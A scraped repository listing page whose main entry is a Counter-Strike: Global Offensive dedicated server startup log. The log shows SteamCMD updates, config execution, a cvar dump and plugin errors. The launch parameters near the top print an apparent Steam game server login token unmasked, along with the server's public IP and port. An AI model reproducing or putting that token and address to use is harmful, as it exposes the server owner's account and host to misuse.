156 skills found · Page 5 of 6
Haonan-DONG / PatchMatchStereo LinuxNo description available
marostcs / Konzole09:17:02 Steam Console Client (c) Valve Corporation 09:17:02 -- type 'quit' to exit -- 09:17:02 Loading Steam API...OK. 09:17:02 09:17:03 Connecting anonymously to Steam Public...Logged in OK 09:17:03 Waiting for user info...OK 09:17:04 Success! App '740' already up to date. 09:17:05 @sSteamCmdForcePlatformType windows 09:17:05 "@sSteamCmdForcePlatformType" = "windows" 09:17:05 force_install_dir ../ 09:17:05 app_update 740 09:17:05 quit 09:17:05 Redirecting stderr to 'D:\servers\csgo_297437\steamcmd\logs\stderr.txt' 09:17:05 Params: -game csgo -console -tickrate 128.00 -port 49525 +tv_port 49526 -maxplayers_override 16 -usercon -nowatchdog +sv_pure 0 +sv_lan 0 +ip 89.203.193.220 +game_type 0 +exec server.cfg +game_mode 1 +map de_dust2 +sv_setsteamaccount B74A031F37B9312A5EC65A15FC43AA0C -gamemodes_serverfile gamemodes_server.txt +mapgroup h_custom -condebug -norestart -allowdebug 09:17:06 # 09:17:06 #Console initialized. 09:17:06 #Using breakpad minidump system 740/13776.1219.DC 09:17:06 #Filesystem successfully switched to safe whitelist mode 09:17:06 #Game.dll loaded for "Counter-Strike: Global Offensive" 09:17:06 #CGameEventManager::AddListener: event 'server_pre_shutdown' unknown. 09:17:06 #CGameEventManager::AddListener: event 'game_newmap' unknown. 09:17:06 #CGameEventManager::AddListener: event 'finale_start' unknown. 09:17:06 #CGameEventManager::AddListener: event 'round_start' unknown. 09:17:06 #CGameEventManager::AddListener: event 'round_end' unknown. 09:17:06 #CGameEventManager::AddListener: event 'difficulty_changed' unknown. 09:17:06 #CGameEventManager::AddListener: event 'player_death' unknown. 09:17:06 #CGameEventManager::AddListener: event 'hltv_replay' unknown. 09:17:06 #CGameEventManager::AddListener: event 'player_connect' unknown. 09:17:06 #CGameEventManager::AddListener: event 'player_disconnect' unknown. 09:17:06 #GameTypes: missing mapgroupsSP entry for game type/mode (custom/custom). 09:17:06 #GameTypes: missing mapgroupsSP entry for game type/mode (cooperative/cooperative). 09:17:06 #GameTypes: missing mapgroupsSP entry for game type/mode (cooperative/coopmission). 09:17:06 Seeded random number generator @ 1064343566 ( 0.940 ) 09:17:06 Failed to load gamerulescvars.txt, game rules cvars might not be reported to management tools. 09:17:06 Server is hibernating 09:17:06 No web api auth key specified - workshop downloads will be disabled. 09:17:06 scripts\talker\response_rules.txt(token 3685) : Multiple definitions for criteria 'tlk_cw.regroup' [-1793082848] 09:17:06 scripts\talker\swat.txt(token 1688) : response entry 'radio.sticktogetherswat' with unknown command 'scenes/swat/radiobotregroup02.vcd' 09:17:06 scripts\talker\coopvoice.txt(token 657) : No such response 'guardianroundstartintro' for rule 'guardianroundintro' 09:17:06 Discarded rule guardianroundintro 09:17:06 CResponseSystem: scripts\talker\response_rules.txt (4154 rules, 763 criteria, and 3878 responses) 09:17:06 Plugins: found file "CSay.vdf" 09:17:06 eBot LOADED 09:17:06 Plugins: found file "metamod.vdf" 09:17:06 maxplayers set to 64 09:17:06 Fast Build Temp Cache: 'maps/soundcache/_master.cache' 09:17:07 Elapsed time: 0.00 seconds 09:17:07 ConVarRef cl_embedded_stream_video_playing doesn't point to an existing ConVar 09:17:07 Execing config: valve.rc 09:17:07 Execing config: default.cfg 09:17:07 Unknown command "cl_bobamt_vert" 09:17:07 Unknown command "cl_bobamt_lat" 09:17:07 Unknown command "cl_bob_lower_amt" 09:17:07 Unknown command "cl_viewmodel_shift_left_amt" 09:17:07 Unknown command "cl_viewmodel_shift_right_amt" 09:17:07 Unknown command "cl_teamid_min" 09:17:07 Unknown command "cl_teamid_max" 09:17:07 Unknown command "cl_teamid_overhead" 09:17:07 Unknown command "cl_teamid_overhead_maxdist" 09:17:07 Execing config: joystick.cfg 09:17:07 Execing config: autoexec.cfg 09:17:07 -------------------------------------------------------- 09:17:07 sv_pure set to 0. 09:17:07 -------------------------------------------------------- 09:17:07 Execing config: server.cfg 09:17:07 Unknown command "sv_maxcmdrate" 09:17:07 Unknown command "sv_vote_creation_time" 09:17:07 Writing cfg/banned_user.cfg. 09:17:07 Writing cfg/banned_ip.cfg. 09:17:07 Execing config: banned_user.cfg 09:17:07 Execing config: banned_ip.cfg 09:17:07 Unknown command "allow_spectators" 09:17:07 Setting mapgroup to 'h_custom' 09:17:07 Execing config: modsettings.cfg 09:17:07 NET_CloseAllSockets 09:17:07 NET_GetBindAddresses found 89.203.193.220: 'HP FlexFabric 10Gb 2-port 554FLB Adapter #2' 09:17:07 WARNING: UDP_OpenSocket: unable to bind socket 09:17:07 Network: IP 89.203.193.220 mode MP, dedicated No, ports 49525 SV / -1 CL 09:17:07 L 01/15/2021 - 09:17:07: [SM] Error encountered parsing core config file: Line contained too many invalid tokens 09:17:07 CServerGameDLL::ApplyGameSettings game settings payload received: 09:17:07 ::ExecGameTypeCfg { 09:17:07 map { 09:17:07 mapname de_dust2 09:17:07 } 09:17:07 } 09:17:07 ApplyGameSettings: Invalid mapgroup name h_custom 09:17:07 ---- Host_NewGame ---- 09:17:07 Execing config: game.cfg 09:17:07 Switching filesystem to allow files loaded from disk (sv_pure_allow_loose_file_loads = 1) 09:17:08 DISP_VPHYSICS found bad displacement collision face (252.50 1542.13 147.50) (250.00 1543.00 155.00) (250.00 1543.50 155.00) at tri 25 09:17:08 DISP_VPHYSICS entire displacement vdisp_0290 will have no collision, dimensions (6.00 14.00 32.00) from (249.00 1537.00 124.00) to (255.00 1551.00 156.00) 09:17:08 DISP_VPHYSICS found bad displacement collision face (250.13 1539.50 147.50) (249.75 1543.00 155.00) (250.00 1543.00 155.00) at tri 30 09:17:08 DISP_VPHYSICS entire displacement vdisp_0291 will have no collision, dimensions (12.50 7.00 32.00) from (242.00 1537.00 124.00) to (254.50 1544.00 156.00) 09:17:08 DISP_VPHYSICS found bad displacement collision face (-1884.00 704.30 159.97) (-1884.00 703.00 180.00) (-1884.54 704.60 160.25) at tri 6 09:17:08 DISP_VPHYSICS entire displacement vdisp_1842 will have no collision, dimensions (2.54 6.60 82.03) from (-1885.54 699.00 158.97) to (-1883.00 705.60 241.00) 09:17:08 DISP_VPHYSICS found bad displacement collision face (-1884.00 705.40 127.95) (-1884.00 704.30 159.97) (-1884.54 704.60 160.25) at tri 30 09:17:08 DISP_VPHYSICS entire displacement vdisp_1876 will have no collision, dimensions (2.54 8.30 130.25) from (-1885.54 699.00 31.00) to (-1883.00 707.30 161.25) 09:17:11 Host_NewGame on map de_dust2 09:17:11 L 01/15/2021 - 09:17:11: -------- Mapchange to de_dust2 -------- 09:17:11 L 01/15/2021 - 09:17:11: [SM] Failed to load plugin "gloves.smx": Unable to load plugin (no debug string table). 09:17:11 L 01/15/2021 - 09:17:11: [SM] Failed to load plugin "weapons.smx": Unable to load plugin (no debug string table). 09:17:11 CGameEventManager::AddListener: event 'teamplay_win_panel' unknown. 09:17:11 CGameEventManager::AddListener: event 'teamplay_restart_round' unknown. 09:17:11 CGameEventManager::AddListener: event 'arena_win_panel' unknown. 09:17:11 GameTypes: initializing game types interface from GameModes.txt. 09:17:11 GameTypes: merging game types interface from gamemodes_server.txt. 09:17:11 Failed to load gamemodes_server.txt 09:17:11 GameTypes: missing mapgroupsSP entry for game type/mode (custom/custom). 09:17:11 GameTypes: missing mapgroupsSP entry for game type/mode (cooperative/cooperative). 09:17:11 GameTypes: missing mapgroupsSP entry for game type/mode (cooperative/coopmission). 09:17:11 ammo_grenade_limit_default - 1 09:17:11 ammo_grenade_limit_flashbang - 1 09:17:11 ammo_grenade_limit_total - 3 09:17:11 ammo_item_limit_healthshot - 4 09:17:11 bot_allow_grenades - 1 09:17:11 bot_allow_machine_guns - 1 09:17:11 bot_allow_pistols - 1 09:17:11 bot_allow_rifles - 1 09:17:11 bot_allow_rogues - 1 09:17:11 bot_allow_shotguns - 1 09:17:11 bot_allow_snipers - 1 09:17:11 bot_allow_sub_machine_guns - 1 09:17:11 bot_autodifficulty_threshold_high - 5.0 09:17:11 bot_autodifficulty_threshold_low - -2.0 09:17:11 bot_chatter - normal 09:17:11 bot_coop_idle_max_vision_distance - 1400 09:17:11 bot_defer_to_human_goals - 0 09:17:11 bot_defer_to_human_items - 1 09:17:11 bot_difficulty - 1 09:17:11 bot_max_hearing_distance_override - -1 09:17:11 bot_max_visible_smoke_length - 200 09:17:11 bot_max_vision_distance_override - -1 09:17:11 bot_quota - 10 09:17:11 bot_quota_mode - normal 09:17:11 bot_coop_idle_max_vision_distance - 1400 09:17:11 bot_max_vision_distance_override - -1 09:17:11 bot_max_hearing_distance_override - -1 09:17:11 bot_coopmission_dz_engagement_limit - missing cvar specified in bspconvar_whitelist.txt 09:17:11 cash_player_bomb_defused - 300 09:17:11 cash_player_bomb_planted - 300 09:17:11 cash_player_damage_hostage - -30 09:17:11 cash_player_get_killed - 0 09:17:11 cash_player_interact_with_hostage - 150 09:17:11 cash_player_killed_enemy_default - 300 09:17:11 cash_player_killed_enemy_factor - 1 09:17:11 cash_player_killed_hostage - -1000 09:17:11 cash_player_killed_teammate - -300 09:17:11 cash_player_rescued_hostage - 1000 09:17:11 cash_player_respawn_amount - 0 09:17:11 cash_team_elimination_bomb_map - 3250 09:17:11 cash_team_elimination_hostage_map_ct - 2000 09:17:11 cash_team_elimination_hostage_map_t - 1000 09:17:11 cash_team_hostage_alive - 0 09:17:11 cash_team_hostage_interaction - 500 09:17:11 cash_team_loser_bonus - 1400 09:17:11 cash_team_loser_bonus_consecutive_rounds - 500 09:17:11 cash_team_planted_bomb_but_defused - 800 09:17:11 cash_team_rescued_hostage - 0 09:17:11 cash_team_survive_guardian_wave - 1000 09:17:11 cash_team_terrorist_win_bomb - 3500 09:17:11 cash_team_win_by_defusing_bomb - 3250 09:17:11 cash_team_win_by_hostage_rescue - 3500 09:17:11 cash_team_win_by_time_running_out_bomb - 3250 09:17:11 cash_team_win_by_time_running_out_hostage - 3250 09:17:11 contributionscore_assist - 1 09:17:11 contributionscore_bomb_defuse_major - 3 09:17:11 contributionscore_bomb_defuse_minor - 1 09:17:11 contributionscore_bomb_exploded - 1 09:17:11 contributionscore_bomb_planted - 2 09:17:11 contributionscore_cash_bundle - 0 09:17:11 contributionscore_crate_break - 0 09:17:11 contributionscore_hostage_kill - -2 09:17:11 contributionscore_hostage_rescue_major - 3 09:17:11 contributionscore_hostage_rescue_minor - 1 09:17:11 contributionscore_kill - 2 09:17:11 contributionscore_kill_factor - 0 09:17:11 contributionscore_objective_kill - 3 09:17:11 contributionscore_suicide - -2 09:17:11 contributionscore_team_kill - -2 09:17:11 ff_damage_reduction_bullets - 0.1 09:17:11 ff_damage_reduction_grenade - 0.25 09:17:11 ff_damage_reduction_grenade_self - 1 09:17:11 ff_damage_reduction_other - 0.25 09:17:11 global_chatter_info - 09:17:11 healthshot_healthboost_damage_multiplier - 1 09:17:11 healthshot_healthboost_speed_multiplier - 1 09:17:11 healthshot_healthboost_time - 0 09:17:11 inferno_child_spawn_max_depth - 4 09:17:11 inferno_max_flames - 16 09:17:11 inferno_max_range - 150 09:17:11 molotov_throw_detonate_time - 2.0 09:17:11 mp_afterroundmoney - 0 09:17:11 mp_anyone_can_pickup_c4 - 0 09:17:11 mp_autokick - 1 09:17:11 mp_autoteambalance - 1 09:17:11 mp_bot_ai_bt - 09:17:11 mp_buy_allow_grenades - 1 09:17:11 mp_buy_allow_guns - 255 09:17:11 mp_buy_anywhere - 0 09:17:11 mp_buy_during_immunity - 0 09:17:11 mp_buytime - 90 09:17:11 mp_c4_cannot_be_defused - 0 09:17:11 mp_c4timer - 40 09:17:11 mp_consecutive_loss_max - 4 09:17:11 mp_coop_force_join_ct - 0 09:17:11 mp_coopmission_bot_difficulty_offset - 0 09:17:11 mp_coopmission_mission_number - 0 09:17:11 mp_coopmission_dz - missing cvar specified in bspconvar_whitelist.txt 09:17:11 mp_ct_default_grenades - 09:17:11 mp_ct_default_melee - weapon_knife 09:17:11 mp_ct_default_primary - 09:17:11 mp_ct_default_secondary - weapon_hkp2000 09:17:11 mp_retake_ct_loadout_default_pistol_round - 1|3;#GameUI_Retake_Card_4v3,0,0,secondary0|1;#GameUI_Retake_Card_FlashOut,0,0,secondary0,grenade2;#GameUI_Retake_Card_HideAndPeek,0,0,secondary0,grenade4 09:17:11 mp_retake_ct_loadout_upgraded_pistol_round - 2|2;#GameUI_Retake_Card_TakeFive,0,0,secondary3|2;#GameUI_Retake_Card_BlindFire,0,0,secondary2,grenade2|2;#GameUI_Retake_Card_OnlyTakesOne,0,0,secondary4|2;#GameUI_Retake_Card_SneakyBeakyLike,0,0,secondary2,grenade4 09:17:11 mp_retake_ct_loadout_light_buy_round - 3|2;#GameUI_Retake_Card_UmpInSmoke,1,1,smg2,grenade4|2;#GameUI_Retake_Card_FunNGun,1,1,smg0,grenade3|2;#GameUI_Retake_Card_Sharpshooter,1,1,rifle2,grenade2|2;#GameUI_Retake_Card_BurstBullpup,1,1,rifle0 09:17:11 mp_retake_ct_loadout_full_buy_round - 4|2;#GameUI_Retake_Card_LightEmUp,1,1,rifle1,grenade2|2;#GameUI_Retake_Card_Kobe,1,1,rifle1,grenade3|1;#GameUI_Retake_Card_1g,1,1,rifle1,grenade0|1;#GameUI_Retake_Card_DisappearingAct,1,1,rifle1,grenade4|1;#GameUI_Retake_Card_EyesOnTarget,1,1,rifle3 09:17:11 mp_retake_ct_loadout_bonus_card_availability - 1,2 09:17:11 mp_retake_ct_loadout_bonus_card - #GameUI_Retake_Card_TheAWPortunity,1,1,rifle4 09:17:11 mp_retake_ct_loadout_enemy_card - #GameUI_Retake_Card_BehindEnemyLines,1,1,rifle1,grenade2 09:17:11 mp_retake_t_loadout_default_pistol_round - 0|3;#GameUI_Retake_Card_4BadGuysLeft,0,0,secondary0|1;#GameUI_Retake_Card_LookAway,0,0,secondary0,grenade2;#GameUI_Retake_Card_WhenThereIsSmoke,0,0,secondary0,grenade4 09:17:11 mp_retake_t_loadout_upgraded_pistol_round - 0|2;#GameUI_Retake_Card_BlindFire,0,0,secondary2,grenade2|2;#GameUI_Retake_Card_QueOta,0,0,secondary4|1;#GameUI_Retake_Card_SmokeScreen,0,0,secondary2,grenade4|1;#GameUI_Retake_Card_TecTecBoom,0,0,secondary3,grenade3 09:17:11 mp_retake_t_loadout_light_buy_round - 0|2;#GameUI_Retake_Card_BackInAFlash,1,1,smg2,grenade2|2;#GameUI_Retake_Card_AllIn,1,1,rifle0|1;#GameUI_Retake_Card_BoomBox,1,1,smg0,grenade3,grenade4|1;#GameUI_Retake_Card_SetThemFree,1,1,rifle2,grenade2 09:17:11 mp_retake_t_loadout_full_buy_round - 0|2;#GameUI_Retake_Card_OlReliable,1,1,rifle1,grenade2|1;#GameUI_Retake_Card_SmokeShow,1,1,rifle1,grenade4|1;#GameUI_Retake_Card_HotShot,1,1,rifle1,grenade0|1;#GameUI_Retake_Card_EyeSpy,1,1,rifle3,grenade3 09:17:11 mp_retake_t_loadout_bonus_card_availability - 1,1,2 09:17:11 mp_retake_t_loadout_bonus_card - #GameUI_Retake_Card_TheAWPortunity,1,1,rifle4 09:17:11 mp_retake_t_loadout_enemy_card - #GameUI_Retake_Card_FindersKeepers,1,1,rifle1,grenade2 09:17:11 mp_retake_max_consecutive_rounds_same_target_site - 2 09:17:11 mp_damage_headshot_only - 0 09:17:11 mp_damage_scale_ct_body - 1.0 09:17:11 mp_damage_scale_ct_head - 1.0 09:17:11 mp_damage_scale_t_body - 1.0 09:17:11 mp_damage_scale_t_head - 1.0 09:17:11 mp_damage_vampiric_amount - 0 09:17:11 mp_death_drop_c4 - 1 09:17:11 mp_death_drop_defuser - 1 09:17:11 mp_death_drop_grenade - 2 09:17:11 mp_death_drop_gun - 1 09:17:11 mp_deathcam_skippable - 1 09:17:11 mp_default_team_winner_no_objective - -1 09:17:11 mp_defuser_allocation - 0 09:17:11 mp_display_kill_assists - 1 09:17:11 mp_dm_bonus_percent - 50 09:17:11 mp_dm_bonus_respawn - 0 09:17:11 mp_dm_bonusweapon_dogtags - 0 09:17:11 mp_dm_dogtag_score - 0 09:17:11 mp_dm_kill_base_score - 10 09:17:11 mp_dm_teammode - 0 09:17:11 mp_dm_teammode_bonus_score - 1 09:17:11 mp_dm_teammode_dogtag_score - 0 09:17:11 mp_dm_teammode_kill_score - 1 09:17:11 mp_dogtag_despawn_on_killer_death - 1 09:17:11 mp_dogtag_despawn_time - 120 09:17:11 mp_dogtag_pickup_rule - 0 09:17:11 mp_drop_grenade_enable - 0 09:17:11 mp_drop_knife_enable - 0 09:17:11 mp_economy_reset_rounds - 0 09:17:11 mp_equipment_reset_rounds - 0 09:17:11 mp_force_assign_teams - 0 09:17:11 mp_force_pick_time - 15 09:17:11 mp_forcecamera - 1 09:17:11 mp_free_armor - 0 09:17:11 mp_freezetime - 6 09:17:11 mp_friendlyfire - 0 09:17:11 mp_ggprogressive_round_restart_delay - 15.0 09:17:11 mp_ggtr_always_upgrade - 0 09:17:11 mp_ggtr_bomb_defuse_bonus - 1 09:17:11 mp_ggtr_bomb_detonation_bonus - 1 09:17:11 mp_ggtr_bomb_pts_for_flash - 4 09:17:11 mp_ggtr_bomb_pts_for_he - 3 09:17:11 mp_ggtr_bomb_pts_for_molotov - 5 09:17:11 mp_ggtr_bomb_pts_for_upgrade - 2.0 09:17:11 mp_ggtr_bomb_respawn_delay - 0.0 09:17:11 mp_ggtr_end_round_kill_bonus - 1 09:17:11 mp_ggtr_halftime_delay - 0.0 09:17:11 mp_ggtr_last_weapon_kill_ends_half - 0 09:17:11 mp_give_player_c4 - 1 09:17:11 mp_global_damage_per_second - 0.0 09:17:11 mp_guardian_bot_money_per_wave - 800 09:17:11 mp_guardian_force_collect_hostages_timeout - 50 09:17:11 mp_guardian_loc_icon - missing cvar specified in bspconvar_whitelist.txt 09:17:11 mp_guardian_loc_string_desc - 09:17:11 mp_guardian_loc_string_hud - #guardian_mission_type_kills 09:17:11 mp_guardian_loc_weapon - 09:17:11 mp_guardian_player_dist_max - 2000 09:17:11 mp_guardian_player_dist_min - 1300 09:17:11 mp_guardian_special_kills_needed - 10 09:17:11 mp_guardian_special_weapon_needed - awp 09:17:11 mp_guardian_target_site - -1 09:17:11 mp_guardian_force_collect_hostages_timeout - 50 09:17:11 mp_guardian_give_random_grenades_to_bots - 1 09:17:11 mp_guardian_ai_bt_difficulty_adjust_wave_interval - 1 09:17:11 mp_guardian_ai_bt_difficulty_max_next_level_bots - 3 09:17:11 mp_guardian_ai_bt_difficulty_cap_beginning_round - 2 09:17:11 mp_guardian_ai_bt_difficulty_initial_value - 2 09:17:11 mp_halftime - 0 09:17:11 mp_halftime_pausetimer - 0 09:17:11 mp_heavyassaultsuit_aimpunch - 1.0 09:17:11 mp_heavyassaultsuit_cooldown - 5 09:17:11 mp_heavyassaultsuit_deploy_timescale - 0.8 09:17:11 mp_heavyassaultsuit_speed - 130 09:17:11 mp_heavybot_damage_reduction_scale - 1.0 09:17:11 mp_hostagepenalty - 10 09:17:11 mp_hostages_max - 2 09:17:11 mp_hostages_spawn_force_positions - 09:17:11 mp_hostages_spawn_same_every_round - 1 09:17:11 mp_items_prohibited - 09:17:11 mp_limitteams - 2 09:17:11 mp_match_can_clinch - 1 09:17:11 mp_match_end_changelevel - 0 09:17:11 mp_max_armor - 2 09:17:11 mp_maxmoney - 16000 09:17:11 mp_maxrounds - 0 09:17:11 mp_molotovusedelay - 15.0 09:17:11 mp_only_cts_rescue_hostages - 1 09:17:11 mp_plant_c4_anywhere - 0 09:17:11 mp_playercashawards - 1 09:17:11 mp_radar_showall - 0 09:17:11 mp_randomspawn - 0 09:17:11 mp_randomspawn_dist - 0 09:17:11 mp_randomspawn_los - 1 09:17:11 mp_respawn_immunitytime - 4.0 09:17:11 mp_respawn_on_death_ct - 0 09:17:11 mp_respawn_on_death_t - 0 09:17:11 mp_respawnwavetime_ct - 10.0 09:17:11 mp_respawnwavetime_t - 10.0 09:17:11 mp_round_restart_delay - 7.0 09:17:11 mp_roundtime - 5 09:17:11 mp_roundtime_defuse - 0 09:17:11 mp_roundtime_hostage - 0 09:17:11 mp_solid_teammates - 1 09:17:11 mp_starting_losses - 0 09:17:11 mp_startmoney - 800 09:17:11 mp_suicide_penalty - 1 09:17:11 mp_t_default_grenades - 09:17:11 mp_t_default_melee - weapon_knife 09:17:11 mp_t_default_primary - 09:17:11 mp_t_default_secondary - weapon_glock 09:17:11 mp_tagging_scale - 1.0 09:17:11 mp_taser_recharge_time - -1 09:17:11 mp_teamcashawards - 1 09:17:11 mp_teammates_are_enemies - 0 09:17:11 mp_timelimit - 5 09:17:11 mp_use_respawn_waves - 0 09:17:11 mp_warmup_pausetimer - 0 09:17:11 mp_warmuptime - 30 09:17:11 mp_warmuptime_all_players_connected - 0 09:17:11 mp_weapon_self_inflict_amount - 0 09:17:11 mp_weapons_allow_heavy - -1 09:17:11 mp_weapons_allow_heavyassaultsuit - 0 09:17:11 mp_weapons_allow_map_placed - 0 09:17:11 mp_weapons_allow_pistols - -1 09:17:11 mp_weapons_allow_rifles - -1 09:17:11 mp_weapons_allow_smgs - -1 09:17:11 mp_weapons_allow_typecount - 5 09:17:11 mp_weapons_allow_zeus - 1 09:17:11 mp_weapons_glow_on_ground - 0 09:17:11 mp_weapons_max_gun_purchases_per_weapon_per_match - -1 09:17:11 mp_win_panel_display_time - 3 09:17:11 occlusion_test_async - 0 09:17:11 spec_freeze_panel_extended_time - 0.0 09:17:11 spec_freeze_time - 3.0 09:17:11 spec_replay_bot - 0 09:17:11 spec_replay_enable - 0 09:17:11 spec_replay_leadup_time - 5.3438 09:17:11 sv_accelerate - 5.5 09:17:11 sv_air_pushaway_dist - 0 09:17:11 sv_airaccelerate - 12 09:17:11 sv_allow_votes - 1 09:17:11 sv_alltalk - 0 09:17:11 sv_arms_race_vote_to_restart_disallowed_after - 0 09:17:11 sv_auto_adjust_bot_difficulty - 1 09:17:11 sv_auto_full_alltalk_during_warmup_half_end - 1 09:17:11 sv_autobunnyhopping - 0 09:17:11 sv_autobuyammo - 0 09:17:11 sv_bot_buy_decoy_weight - 1 09:17:11 sv_bot_buy_flash_weight - 1 09:17:11 sv_bot_buy_grenade_chance - 33 09:17:11 sv_bot_buy_hegrenade_weight - 6 09:17:11 sv_bot_buy_molotov_weight - 1 09:17:11 sv_bot_buy_smoke_weight - 1 09:17:11 sv_bots_force_rebuy_every_round - 0 09:17:11 sv_bots_get_easier_each_win - 0 09:17:11 sv_bots_get_harder_after_each_wave - 0 09:17:11 sv_bounce - 0 09:17:11 sv_buy_status_override - -1 09:17:11 sv_deadtalk - 0 09:17:11 sv_disable_immunity_alpha - 0 09:17:11 sv_disable_radar - 0 09:17:11 sv_disable_show_team_select_menu - missing cvar specified in bspconvar_whitelist.txt 09:17:11 sv_duplicate_playernames_ok - 0 09:17:11 sv_enablebunnyhopping - 0 09:17:11 sv_env_entity_makers_enabled - 1 09:17:11 sv_extract_ammo_from_dropped_weapons - 0 09:17:11 sv_falldamage_scale - 1 09:17:11 sv_falldamage_to_below_player_multiplier - 1 09:17:11 sv_falldamage_to_below_player_ratio - 0 09:17:11 sv_force_reflections - 0 09:17:11 sv_friction - 5.2 09:17:11 sv_grassburn - 0 09:17:11 sv_gravity - 800 09:17:11 sv_guardian_extra_equipment_ct - 09:17:11 sv_guardian_extra_equipment_t - 09:17:11 sv_guardian_health_refresh_per_wave - 50 09:17:11 sv_guardian_heavy_all - 0 09:17:11 sv_guardian_heavy_count - 0 09:17:11 sv_guardian_max_wave_for_heavy - 0 09:17:11 sv_guardian_min_wave_for_heavy - 0 09:17:11 sv_guardian_refresh_ammo_for_items_on_waves - 09:17:11 sv_guardian_reset_c4_every_wave - 0 09:17:11 sv_guardian_respawn_health - 50 09:17:11 sv_guardian_spawn_health_ct - 100 09:17:11 sv_guardian_spawn_health_t - 100 09:17:11 sv_health_approach_enabled - 0 09:17:11 sv_health_approach_speed - 10 09:17:11 sv_hegrenade_damage_multiplier - 1 09:17:11 sv_hegrenade_radius_multiplier - 1 09:17:11 sv_hide_roundtime_until_seconds - missing cvar specified in bspconvar_whitelist.txt 09:17:11 sv_highlight_distance - 500 09:17:11 sv_highlight_duration - 3.5 09:17:11 sv_ignoregrenaderadio - 0 09:17:11 sv_infinite_ammo - 0 09:17:11 sv_knife_attack_extend_from_player_aabb - 0 09:17:11 sv_maxspeed - 320 09:17:11 sv_maxvelocity - 3500 09:17:11 sv_occlude_players - 1 09:17:11 sv_outofammo_indicator - 0 09:17:11 sv_show_ragdoll_playernames - missing cvar specified in bspconvar_whitelist.txt 09:17:11 sv_show_team_equipment_force_on - 0 09:17:11 sv_staminajumpcost - .080 09:17:11 sv_staminalandcost - .050 09:17:11 sv_stopspeed - 80 09:17:11 sv_talk_enemy_dead - 0 09:17:11 sv_talk_enemy_living - 0 09:17:11 sv_teamid_overhead_maxdist - 0 09:17:11 sv_teamid_overhead_maxdist_spec - 0 09:17:11 sv_versus_screen_scene_id - 0 09:17:11 sv_vote_to_changelevel_before_match_point - 0 09:17:11 sv_warmup_to_freezetime_delay - 4 09:17:11 sv_water_movespeed_multiplier - 0.8 09:17:11 sv_water_swim_mode - 0 09:17:11 sv_wateraccelerate - 10 09:17:11 sv_waterfriction - 1 09:17:11 sv_weapon_encumbrance_per_item - 0.85 09:17:11 sv_weapon_encumbrance_scale - 0 09:17:11 tv_delay - 10 09:17:11 tv_delay1 - 15 09:17:11 weapon_accuracy_nospread - 0 09:17:11 weapon_air_spread_scale - 1.0 09:17:11 weapon_max_before_cleanup - 0 09:17:11 weapon_recoil_scale - 2.0 09:17:11 weapon_reticle_knife_show - 1 09:17:11 weapon_sound_falloff_multiplier - 1.0 09:17:11 sv_camera_fly_enabled - missing cvar specified in bspconvar_whitelist.txt 09:17:11 Executing dedicated server config file 09:17:11 Execing config: server.cfg 09:17:11 Unknown command "sv_maxcmdrate" 09:17:11 Unknown command "sv_vote_creation_time" 09:17:11 Writing cfg/banned_user.cfg. 09:17:11 Writing cfg/banned_ip.cfg. 09:17:11 Execing config: banned_user.cfg 09:17:11 Execing config: banned_ip.cfg 09:17:11 Unknown command "allow_spectators" 09:17:11 Execing config: gamemode_competitive.cfg 09:17:11 Execing config: gamemode_competitive_server.cfg 09:17:11 exec: couldn't exec gamemode_competitive_server.cfg 09:17:11 GameTypes: set convars for game type/mode (classic:0/competitive:1): 09:17:11 exec { 09:17:11 exec gamemode_competitive.cfg 09:17:11 exec_offline gamemode_competitive_offline.cfg 09:17:11 exec gamemode_competitive_server.cfg 09:17:11 } 09:17:11 Set Gravity 800.0 (0.250 tolerance) 09:17:11 CHostage::Precache: missing hostage models for map de_dust2. Adding the default models. 09:17:11 PrecacheScriptSound 'Snowball.Bounce' failed, no such sound script entry 09:17:12 PrecacheScriptSound 'Survival.VO.Taunt4a' failed, no such sound script entry 09:17:13 Failed to load models/weapons/w_knife_ghost_dropped.mdl! 09:17:13 Failed to load models/props/crates/patch_envelope02.mdl! 09:17:13 PrecacheScriptSound 'balkan_epic_blank' failed, no such sound script entry 09:17:13 PrecacheScriptSound 'professional_epic.omw_to_plant_a_04' failed, no such sound script entry 09:17:13 PrecacheScriptSound 'professional_epic.loc_ramp_01' failed, no such sound script entry 09:17:13 PrecacheScriptSound 'professional_epic.loc_back_01' failed, no such sound script entry 09:17:13 PrecacheScriptSound 'professional_epic.loc_platform_01' failed, no such sound script entry 09:17:13 PrecacheScriptSound 'professional_epic.loc_catwalk_03' failed, no such sound script entry 09:17:13 PrecacheScriptSound 'professional_epic.loc_enemy_spawn_01' failed, no such sound script entry 09:17:13 PrecacheScriptSound 'professional_epic.loc_doubledoors_01' failed, no such sound script entry 09:17:13 PrecacheScriptSound 'professional_epic.loc_front_01' failed, no such sound script entry 09:17:13 PrecacheScriptSound 'professional_epic.loc_overpass_03' failed, no such sound script entry 09:17:13 PrecacheScriptSound 'professional_epic.loc_palace_01' failed, no such sound script entry 09:17:13 PrecacheScriptSound 'professional_epic.loc_stairs_01' failed, no such sound script entry 09:17:13 PrecacheScriptSound 'professional_epic.loc_snipers_nest_01' failed, no such sound script entry 09:17:13 PrecacheScriptSound 'professional_epic.loc_connector_01' failed, no such sound script entry 09:17:13 PrecacheScriptSound 'professional_epic.loc_door_01' failed, no such sound script entry 09:17:14 Invalid file size for host.txt 09:17:14 Commentary: Could not find commentary data file 'maps/de_dust2_commentary.txt'. 09:17:14 The Navigation Mesh was built using a different version of this map. 09:17:14 Error parsing BotProfile.db - unknown attribute 'Rank' 09:17:14 Error parsing BotProfile.db - unknown attribute 'Rank' 09:17:14 Error parsing BotProfile.db - unknown attribute 'Rank' 09:17:14 Error parsing BotProfile.db - unknown attribute 'Rank' 09:17:14 Error parsing BotProfile.db - unknown attribute 'Rank' 09:17:14 Error parsing BotProfile.db - unknown attribute 'Rank' 09:17:14 Error parsing BotProfile.db - unknown attribute 'Rank' 09:17:14 Error parsing BotProfile.db - unknown attribute 'Rank' 09:17:14 Created class baseline: 20 classes, 13792 bytes. 09:17:14 Initializing Steam libraries for secure Internet server 09:17:14 Logging into Steam gameserver account with logon token 'B74A031Fxxxxxxxxxxxxxxxxxxxxxxxx' 09:17:14 Initialized low level socket/threading support. 09:17:14 \src\steamnetworkingsockets\clientlib\csteamnetworkingsockets_steam.cpp(138): Assertion Failed: Initted interface twice? 09:17:14 Set SteamNetworkingSockets P2P_STUN_ServerList to '' as per SteamNetworkingSocketsSerialized 09:17:14 SteamDatagramServer_Init succeeded 09:17:14 Execing config: sourcemod/sourcemod.cfg 09:17:14 Execing config: sourcemod\basevotes.cfg 09:17:14 Execing config: sourcemod\funcommands.cfg 09:17:14 Execing config: sourcemod\funvotes.cfg 